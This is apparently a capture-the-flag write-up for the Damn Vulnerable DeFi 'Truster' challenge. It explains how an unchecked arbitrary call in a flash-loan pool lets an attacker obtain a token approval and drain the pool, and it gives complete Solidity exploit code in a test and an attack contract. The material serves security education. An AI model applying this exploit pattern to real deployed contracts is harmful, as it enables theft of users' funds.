# Damn Vulnerable DeFi V4 - Truster
[toc]
## Intro
More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.
<br>
## Analysis
There's an issue in the flashLoan function
- `target.functionCall(data);`
- This allows an attacker to ask the `token` to approve attack contract as spender
```sol=20
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
```
<br>
## Attack
```solidity=
function test_truster() public checkSolvedByPlayer {
// Can't pass since is more than 1 tx
// bytes memory data = abi.encodeWithSignature(
// "approve(address,uint256)",
// address(player), // the reason put player here is the vm.startPrank(player), test file will run as player, not address(this) / TrusterChallenge
// TOKENS_IN_POOL
// );
// pool.flashLoan(0, address(this), address(token), data);
// token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
// Put it in a single contract, can execute within 1 tx
new AttackContract(pool, token, recovery, TOKENS_IN_POOL);
}
...
// Abuse the target.functionCall(data);
// We can update the victim's allowance mapping by the approve() function
// since this is an ERC20 token
// allowance[attcker] = TOKENS_IN_POOL
contract AttackContract {
constructor(
TrusterLenderPool _pool,
DamnValuableToken _token,
address _recovery,
uint256 _amount
) {
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this), // will bypass the vm.startPrank() and call it using address(this)
_amount
);
_pool.flashLoan(0, address(this), address(_token), data); // try to approve AttackContract using
console.log(_token.allowance(address(_pool), address(this)));
_token.transferFrom(address(_pool), _recovery, _amount); //
}
}
```